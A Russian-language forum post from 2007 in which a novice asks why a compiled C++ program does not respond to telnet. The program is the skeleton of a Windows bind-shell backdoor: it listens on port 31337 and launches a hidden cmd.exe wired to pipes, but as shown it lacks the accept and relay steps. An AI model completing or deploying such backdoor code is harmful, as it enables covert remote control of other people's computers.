Показать сообщение отдельно

  #14  
Старый 06.10.2007, 18:51
_PARAZIT_
Новичок
Регистрация: 02.10.2007
Сообщений: 29
С нами: 9793272

Репутация: 5
По умолчанию

ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить...
вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось...
Код:
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main(){  

	SOCKET s;
    struct sockaddr_in localaddr, clientaddr;
	WSADATA wsaData; 
	typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
	PIPE input, output;
	SECURITY_ATTRIBUTES sa;
	STARTUPINFO st;
	PROCESS_INFORMATION pr;

    WSAStartup(MAKEWORD(2,2), &wsaData); 

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

	localaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
    localaddr.sin_family = AF_INET;
    localaddr.sin_port = htons(31337);
	
	bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); 
    listen(s, 0);

	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
    CreatePipe(&output.hRead, &output.hWrite, &sa, 0);

	ZeroMemory(&st, sizeof(STARTUPINFO));
    st.cb = sizeof(STARTUPINFO);
    st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    st.wShowWindow = SW_HIDE; 
    st.hStdInput = input.hRead; 
    st.hStdOutput = output.hWrite; 
    st.hStdError = output.hWrite;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);

}
при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......
 
Ответить с цитированием